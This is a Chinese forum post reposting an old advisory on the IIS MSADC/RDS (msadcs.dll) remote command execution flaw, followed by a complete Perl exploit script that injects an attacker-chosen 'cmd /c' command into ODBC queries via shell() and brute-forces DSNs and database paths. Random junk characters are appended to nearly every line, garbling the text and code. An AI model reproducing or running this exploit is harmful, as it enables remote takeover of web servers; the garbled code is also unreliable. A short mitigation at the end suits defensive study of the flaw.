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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ZMQ=D!kT  
(|BY<Ac3  
涉及程序: c9nR&m8(+  
Microsoft NT server esJ7#Gxt  
KZjh<sjX|  
描述: pbAL&}  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 C=+9XfP0  
XX/gS=NE#.  
详细: P)K $+oo  
如果你没有时间读详细内容的话,就删除: U=bx30brh%  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 6|NH*#s  
有关的安全问题就没有了。 n.+'9Fj  
(j'\h/  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 #`u}#(  
.j:,WF<"l5  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 1*8;)#%&  
关于利用ODBC远程漏洞的描述,请参看: Lyhuyb)k5^  
$Er=i }`  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 5 e+j51  
vntJe^IaFd  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 (S!UnBb&  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp J|BElBY  
s-IE}I?;  
这里不再论述。 R@K\   
QH-CZ6M  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: Q|)>9m!tt  
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/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset D 5rH6*J  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! sYS 8]JU  
zgGysjV  
2V@5:tf  
#将下面这段保存为txt文件,然后: "perl -x 文件名" Q("m*eMRt  
;3/}"yG<p  
#!perl XKTDBaON  
# ]W?cy  
# MSADC/RDS 'usage' (aka exploit) script yF)J7a:U  
# {P6Bfh7CZ  
# by rain.forest.puppy X)!XR/?  
# ytY\&m  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me Ln# o:"E  
# beta test and find errors! zdwQpB,+^  
 [^ }$u[  
use Socket; use Getopt::Std; xq;>||B  
getopts("e:vd:h:XR", \%args); 3?B1oIHQ  
t5E$u(&+'B  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; G %sO{k7  
|X=p`iz1&  
if (!defined $args{h} && !defined $args{R}) { {O>Td9  
print qq~ :z8/iD y  
Usage: msadc.pl -h <host> { -d <delay> -X -v } J6CSu7Voa  
-h <host> = host you want to scan (ip or domain) ?c?@j}=?yY  
-d <seconds> = delay between calls, default 1 second W_wC"?A%  
-X = dump Index Server path table, if available iOZ9A~Ywy  
-v = verbose l?)>"^  
-e = external dictionary file for step 5 \Hp!NbnF$  
+~V_^-JG&  
Or a -R will resume a command session <ci(5M  
Y)k"KRW+  
~; exit;} _AF$E"f@  
Q qF<HCO  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 4vL\t uoz  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} igQzL*X  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} O.FTToh<  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ^!B]V>L-  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} <9&GOaJ  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } @rT$}O1?`  
(.$$U3\  
if (!defined $args{R}){ $ret = &has_msadc; ky|kg@n{  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} cy@oAoBq  
N_ ODr]L  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" Mc c%&j  
. "cmd /c "; BW;@Gq@N  
$in=<STDIN>; chomp $in; J PTLh{/  
$command="cmd /c " . $in ; #^RIp>NN9  
$E[O}+L$#  
if (defined $args{R}) {&load; exit;} jy~hLEt7  
Wg%]  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; "d-vs t5  
&try_btcustmr; (;g/wb:  
O)^F z:  
print "\nStep 2: Trying to make our own DSN..."; c*#$sZ@YA  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; $~q{MX&J  
@B0fRG y  
print "\nStep 3: Trying known DSNs..."; V+y|C[A F  
&known_dsn; q>%.zc[x  
V?t*c [  
print "\nStep 4: Trying known .mdbs..."; .&5 3sJ0{  
&known_mdb; lre(]oBXA  
!JdZ0l  
if (defined $args{e}){ IHW s<U  
print "\nStep 5: Trying dictionary of DSN names..."; Z wKX$(n  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } iaMl>ua  
i*l =xW;bM  
print "Sorry Charley...maybe next time?\n"; !*DY dqQ/  
exit; ]hlQU%&  
DCa=o  
############################################################################## X r o5~G  
&9gI?b8  
sub sendraw { # ripped and modded from whisker , MqoX-+  
sleep($delay); # it's a DoS on the server! At least on mine... bfb9A+]3'  
my ($pstr)=@_; %*q^i}5)E  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ~W"@[*6w  
die("Socket problems\n"); k0FAI0~(  
if(connect(S,pack "SnA4x8",2,80,$target)){ nCV7(ldmH  
select(S); $|=1; EFU)0IAL[  
print $pstr; my @in=<S>; >`WQxkpy  
select(STDOUT); close(S); kN*I_#  
return @in; >t9DI  
} else { die("Can't connect...\n"); }} Z9MU%*N  
"KCG']DF  
############################################################################## 3 q8S  
eF0FQlMe[  
sub make_header { # make the HTTP request  ^0{t  
my $msadc=<<EOT *k&V;?x|wt  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 _^?_Vb  
User-Agent: ACTIVEDATA C!K&d,M  
Host: $ip jc32s}/H  
Content-Length: $clen LGtw4'yr  
Connection: Keep-Alive Rm_+kp@\  
]#S<]vA  
ADCClientVersion:01.06 d=\TC'd"{  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 i u0'[  
DgRn^gL{Q  
--!ADM!ROX!YOUR!WORLD! 5ld?N2<8/  
Content-Type: application/x-varg h0x'QiCc  
Content-Length: $reqlen i6FJG\d  
=(R3-['QIb  
EOT %"#ydOy  
; $msadc=~s/\n/\r\n/g; ]:n9MFv  
return $msadc;} b"Nd8f[  
?hrz@k|  
############################################################################## RP 6<#tq,  
aU.!+e%_  
sub make_req { # make the RDS request ([SJ6ff]&  
my ($switch, $p1, $p2)=@_; WK0IagYw  
my $req=""; my $t1, $t2, $query, $dsn; ;i [;%  
zt  
if ($switch==1){ # this is the btcustmr.mdb query 2h@&yW2j  
$query="Select * from Customers where City=" . make_shell(); -U7,~z  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . Rb^G~82d?  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} YJDJj x  
4UPxV"H  
elsif ($switch==2){ # this is general make table query JCB3 BZg7&  
$query="create table AZZ (B int, C varchar(10))"; j5smmtM`s  
$dsn="$p1";} X-CoC   
IQ$6}.  
elsif ($switch==3){ # this is general exploit table query >~'z%  
$query="select * from AZZ where C=" . make_shell(); lQRtsmZ0  
$dsn="$p1";} [_KOU2  
yr.sfPnJK  
elsif ($switch==4){ # attempt to hork file info from index server %Yg|QBm|  
$query="select path from scope()"; n b*`GE  
$dsn="Provider=MSIDXS;";} $ \!OO)  
! P$[$W  
elsif ($switch==5){ # bad query VTX6_&Hc1g  
$query="select"; `4Fw,:+e  
$dsn="$p1";} xlsAct:  
JPZH%#E(  
$t1= make_unicode($query); SoFl]^l  
$t2= make_unicode($dsn); !@arPN$  
$req = "\x02\x00\x03\x00"; EACI>  
$req.= "\x08\x00" . pack ("S1", length($t1)); JZ> (h  
$req.= "\x00\x00" . $t1 ; va"bw!zXo*  
$req.= "\x08\x00" . pack ("S1", length($t2)); 4~;M\h  
$req.= "\x00\x00" . $t2 ; ^8dCFw.rU  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; rodqa  
return $req;} r&F 6ZCw  
^oE#;aS  
############################################################################## Jt}#,I,B  
:N_DJ51  
sub make_shell { # this makes the shell() statement (bB"6 #TI  
return "'|shell(\"$command\")|'";} Bf[`o<c  
ZhC ,nbM  
############################################################################## Q/h-Kh mz  
:FmH=pI!=  
sub make_unicode { # quick little function to convert to unicode /*M3Ns1@2  
my ($in)=@_; my $out; E},zB*5TH  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } ;Z`R!  
return $out;} x2OAkkH\]i  
T_9o0Qk  
############################################################################## vbG&F.P  
8NJT:6Q7l  
sub rdo_success { # checks for RDO return success (this is kludge) EiZa,}A  
my (@in) = @_; my $base=content_start(@in); a#9pN?~  
if($in[$base]=~/multipart\/mixed/){ uZI7,t-7  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} M7&G9SGZ  
return 0;} T)ISDK4>S"  
+NiCt S  
############################################################################## 59+KOQul6  
8f65;lyN  
sub make_dsn { # this makes a DSN for us d..JW{  
my @drives=("c","d","e","f"); ?|\wJrM ]  
print "\nMaking DSN: "; NBLjBa%eL  
foreach $drive (@drives) { ki1j~q  
print "$drive: "; *D9H3M[o#  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . (qz)3Fa  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" }WBHuVcZG  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); Bx5kqHp^1  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 64>CfU(  
return 0 if $2 eq "404"; # not found/doesn't exist Sn' +~6i  
if($2 eq "200") { P|C5k5  
foreach $line (@results) { S.<4t*,  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} `82Dm!V  
} return 0;} Hk(=_[S  
$q .}eb0  
############################################################################## \wK4bvUrX  
A(cR/$fn6  
sub verify_exists { 3=*ur( Qy  
my ($page)=@_; )8SWU)/  
my @results=sendraw("GET $page HTTP/1.0\n\n"); GJs~aRiz  
return $results[0];} sH > zsc  
GS}JyU  
############################################################################## KeXt"U  
n+i=Ff  
sub try_btcustmr { kQQDaZ 8  
my @drives=("c","d","e","f"); UP%6s:>:  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 7?y 7fwER  
ou<,c?nNM  
foreach $dir (@dirs) { *;~u 5y2b  
print "$dir -> "; # fun status so you can see progress Q;A\M  
foreach $drive (@drives) { ,|.}6\zl*{  
print "$drive: "; # ditto 49c-`[d L  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; WIpV'F|t]`  
$reqlenlen=length( "$reqlen" ); 8F@Sy,D  
$clen= 206 + $reqlenlen + $reqlen; ZmNNR 1%/  
l=(( >^i  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); M]/DKo  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} =;b3i1'U  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 6]kBG?m0  
a60rJ#GD  
############################################################################## HXztEEK6  
<gfRAeXA  
sub odbc_error { 2gMG7%d  
my (@in)=@_; my $base; @qj]`}Gx'  
my $base = content_start(@in); BMuEfa^  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this QG2 Zh9R  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Eh|,[ D!E  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; F *r)  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; x;\/Xj ;  
return $in[$base+4].$in[$base+5].$in[$base+6];} 0Oc?:R'$  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; VuH ->  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . evYn}  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} i1-%#YYF(  
gZ7R^] k  
############################################################################## W I MBw mg  
nJ xO.wWE  
sub verbose { Ke?,AWfG  
my ($in)=@_; d!YP{y P  
return if !$verbose; L/`1K_\l  
print STDOUT "\n$in\n";} Jp+'"a  
T<? kH  
############################################################################## Lhe&  
s&-MJ05y  
sub save { 6$'*MpYF4  
my ($p1, $p2, $p3, $p4)=@_; lv'WRS'}  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; &b}g.)RI  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; &tvp)B?cWk  
close OUT;} QuPz'Ut#  
Qz#By V:  
############################################################################## kP ,8[r  
?_Z -} f  
sub load { }$'_%,  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; j-W$)c3X  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); %xOxMK@  
@p=<IN>; close(IN); >RAg63!`  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); t^FE]$,  
$target= inet_aton($ip) || die("inet_aton problems"); KvPCb%!ZP  
print "Resuming to $ip ..."; ce}A!v  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 80[# 6`  
if($p[1]==1) { _#6Q f  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; }9fch9>Zr  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ,}gJY^X+  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); aaT3-][  
if (rdo_success(@results)){print "Success!\n";} ~$5XiY8A  
else { print "failed\n"; verbose(odbc_error(@results));}} (EY@{'.&  
elsif ($p[1]==3){ aSX4~UYB=  
if(run_query("$p[3]")){ Vb\g49\o/  
print "Success!\n";} else { print "failed\n"; }} ?{J1Uw<  
elsif ($p[1]==4){ rxu_Ssd@"  
if(run_query($drvst . "$p[3]")){ >RkaFcq  
print "Success!\n"; } else { print "failed\n"; }} k1f<(@*`  
exit;} AG=PbY9  
&l1t5 !  
############################################################################## "5~?`5Ff  
aq}hlA(w  
sub create_table { 9]oT/ooM  
my ($in)=@_; A+* lV*@0  
$reqlen=length( make_req(2,$in,"") ) - 28; ZZI} Ot{  
$reqlenlen=length( "$reqlen" ); Yr_ B(n  
$clen= 206 + $reqlenlen + $reqlen; ?%hd3zc+f  
my @results=sendraw(make_header() . make_req(2,$in,"")); WF~BCP$OR  
return 1 if rdo_success(@results); m[v0mXE  
my $temp= odbc_error(@results); verbose($temp); 9U6$-]J  
return 1 if $temp=~/Table 'AZZ' already exists/; f^B8!EY#:  
return 0;} /-[vC$B"  
S W%>8  
############################################################################## D5P-$1KPt  
O@a OKk  
sub known_dsn { .eD&UQ  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go xOj#%;  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", (l{8Ix s  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 9S@x  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 18rV Acj  
MLHCBRi  
foreach $dSn (@dsns) { IeYNTk &<  
print "."; N'ER!=l)  
next if (!is_access("DSN=$dSn")); h@$SJe(hl  
if(create_table("DSN=$dSn")){ yC\UT ~j/  
print "$dSn successful\n"; PljPhAce  
if(run_query("DSN=$dSn")){ :a;F3NJ  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { aj;x:UqpJ  
print "Something's borked. Use verbose next time\n";}}} print "\n";} *mp:#'  
,FzkGB#  
############################################################################## q*&H  
auK9wQ%\  
sub is_access { qSr]d`7@  
my ($in)=@_; #ay/VlD@  
$reqlen=length( make_req(5,$in,"") ) - 28; HAK,z0/  
$reqlenlen=length( "$reqlen" ); {TNORbZz  
$clen= 206 + $reqlenlen + $reqlen; cmXbkM  
my @results=sendraw(make_header() . make_req(5,$in,"")); OXrm!'  
my $temp= odbc_error(@results); V0,JTWc  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); Pq [_(Nt  
return 0;} D}y W:Pi'  
yor'"6)i  
############################################################################## t/Io.d   
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sub run_query { _S ng55s  
my ($in)=@_; $8eiifj  
$reqlen=length( make_req(3,$in,"") ) - 28; K{DC{yLu  
$reqlenlen=length( "$reqlen" ); BC.3U.  
$clen= 206 + $reqlenlen + $reqlen; qK.(w Fx  
my @results=sendraw(make_header() . make_req(3,$in,"")); g8MW6Y  
return 1 if rdo_success(@results); rt*x[5<  
my $temp= odbc_error(@results); verbose($temp); 0 (-4"u>?  
return 0;} b=lJ`|  
xS1n,gTA  
############################################################################## ]?=87w  
iZn0B5]ikj  
sub known_mdb { SDC|>e9i  
my @drives=("c","d","e","f","g"); 1}\p:`  
my @dirs=("winnt","winnt35","winnt351","win","windows"); PSq?8.  
my $dir, $drive, $mdb; 8S8qj"s  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ASbI c"S6  
g0zzDv7~  
# this is sparse, because I don't know of many vz4( k/  
my @sysmdbs=( "\\catroot\\icatalog.mdb", Hdew5Xn(:  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", i RrUIWx  
"\\system32\\certmdb.mdb", \09A"fs{  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% zG_nx3  
HZ'rM5Kq  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 7!AyLw  
"\\cfusion\\cfapps\\forums\\forums_.mdb", BZW03e8|  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", V_~lME  
"\\cfusion\\cfapps\\security\\realm_.mdb", ?]D&D:Z?I  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", %htI!b+"@  
"\\cfusion\\database\\cfexamples.mdb", e}?Q&Lci  
"\\cfusion\\database\\cfsnippets.mdb", t~ {O)tt  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", eB#I-eD  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", Uwkxc  
"\\cfusion\\brighttiger\\database\\cleam.mdb", LnE/62){N  
"\\cfusion\\database\\smpolicy.mdb", h_4*?w  
"\\cfusion\\database\cypress.mdb", Im~DK  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", ]?(kaNQ "D  
"\\website\\cgi-win\\dbsample.mdb", ^ l#6Es  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", q{&c?l*2  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" KR$Fd  
); #these are just j#p;XI  
foreach $drive (@drives) { Cl&mz1Y;]1  
foreach $dir (@dirs){ k'O.1  
foreach $mdb (@sysmdbs) { kfnh1|D=aY  
print "."; l[i4\ CT  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ l jK?2z>  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; ]#G s6CsT|  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ >gp53\  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 7vZO;FGtG  
} else { print "Something's borked. Use verbose next time\n"; }}}}} vU%K%-yXG7  
H-pf8  
foreach $drive (@drives) { lkT :e)w  
foreach $mdb (@mdbs) {  ]+Whv%M  
print "."; I^A>YJW  
if(create_table($drv . $drive . $dir . $mdb)){ K[iAN;QCe%  
print "\n" . $drive . $dir . $mdb . " successful\n"; .;7V]B1o  
if(run_query($drv . $drive . $dir . $mdb)){ YtvDayR>  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; X:s~w#>R  
} else { print "Something's borked. Use verbose next time\n"; }}}} OD~Q|I(j  
} 3=n6N TL  
P+f}r^4}  
############################################################################## cVx SO`jZw  
7_oUuNw  
sub hork_idx { )dfhy  
print "\nAttempting to dump Index Server tables...\n"; R*bx&..<  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; K*5gb^Ul  
$reqlen=length( make_req(4,"","") ) - 28; ^|Z'}p|&  
$reqlenlen=length( "$reqlen" ); \r:*`Z*y  
$clen= 206 + $reqlenlen + $reqlen; `0ym3}(O  
my @results=sendraw2(make_header() . make_req(4,"","")); 5!A:xV]6]  
if (rdo_success(@results)){ K@=u F 1?  
my $max=@results; my $c; my %d; (!fx5&F  
for($c=19; $c<$max; $c++){ )zO|m7  
$results[$c]=~s/\x00//g; p+~Imf-Jk  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; % WDTnEm  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; #+D][LH4  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; k5K5OpY  
$d{"$1$2"}="";} 424iFc[  
foreach $c (keys %d){ print "$c\n"; } {,5 .svO  
} else {print "Index server doesn't seem to be installed.\n"; }} KH#z =_  
U<&=pv  
############################################################################## c&bhb[  
\\ItN  
sub dsn_dict { AQ$)JPs  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); T+T)~!{%  
while(<IN>){ ZB1%Kn#zo4  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 6 9$R.  
next if (!is_access("DSN=$dSn")); k(RKAFjY  
if(create_table("DSN=$dSn")){ ^@/wXj:  
print "$dSn successful\n"; `\(co;:  
if(run_query("DSN=$dSn")){ vmNo~clt\  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { M{orw;1Isy  
print "Something's borked. Use verbose next time\n";}}} rPy,PQG2w  
print "\n"; close(IN);} iC hIW/H  
c*\i%I#f2  
############################################################################## O1jiD_Y!9  
O9N!SQs80  
sub sendraw2 { # ripped and modded from whisker {i=V:$_#  
sleep($delay); # it's a DoS on the server! At least on mine... e=h-}XRC  
my ($pstr)=@_; *J^FV^E``  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || $hCS-9%&  
die("Socket problems\n"); tt-ci,X+  
if(connect(S,pack "SnA4x8",2,80,$target)){ Da)p%E>Q  
print "Connected. Getting data";  g4q{ ]  
open(OUT,">raw.out"); my @in; ;Egl8Vhr  
select(S); $|=1; print $pstr; wM[Z 0*K  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} >!Y#2]@}o  
close(OUT); select(STDOUT); close(S); return @in; A?04,l]y  
} else { die("Can't connect...\n"); }} PdVY tK%  
Ndl{f=sjX-  
############################################################################## E8PwA.  
v(0ujfSR0  
sub content_start { # this will take in the server headers mI<sf?.  
my (@in)=@_; my $c; 4xT /8>v2|  
for ($c=1;$c<500;$c++) { ).GM 0-y  
if($in[$c] =~/^\x0d\x0a/){ ,V j&  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } Chl^LEN:  
else { return $c+1; }}} 1F>8#+B/W  
return -1;} # it should never get here actually >q?{'#i /  
sa<\nH$_X  
##############################################################################  7Oe$Ou  
2sgp$r  
sub funky { |1H9,:*%  
my (@in)=@_; my $error=odbc_error(@in); oH4zW5  
if($error=~/ADO could not find the specified provider/){ ,Gbc4x  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; \s)$AF  
exit;} HZ!<dy3  
if($error=~/A Handler is required/){ +68age;dM  
print "\nServer has custom handler filters (they most likely are patched)\n"; 9G6ZKqum  
exit;} /ho7~C+H*e  
if($error=~/specified Handler has denied Access/){ <i ]-.>&J  
print "\nServer has custom handler filters (they most likely are patched)\n"; ^-Arfm%dn  
exit;}} 4VvE(f  
tUJe-3,  
############################################################################## *!%n`BR '  
n>B ,O  
sub has_msadc { *1-0s*T  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 1NZpd'$c  
my $base=content_start(@results); *C|*{!  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); jR:\D_:  
return 0;} 5cM%PYU4:v  
r9 1i :  
######################## !"/"Mqs3$  
F@ pf._c  
RWu< dY#ym  
解决方案: \Js*>xA  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll t{s>B]i^_w  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 yXtQfR  
bs% RWwn  
拿出来充数 哈哈
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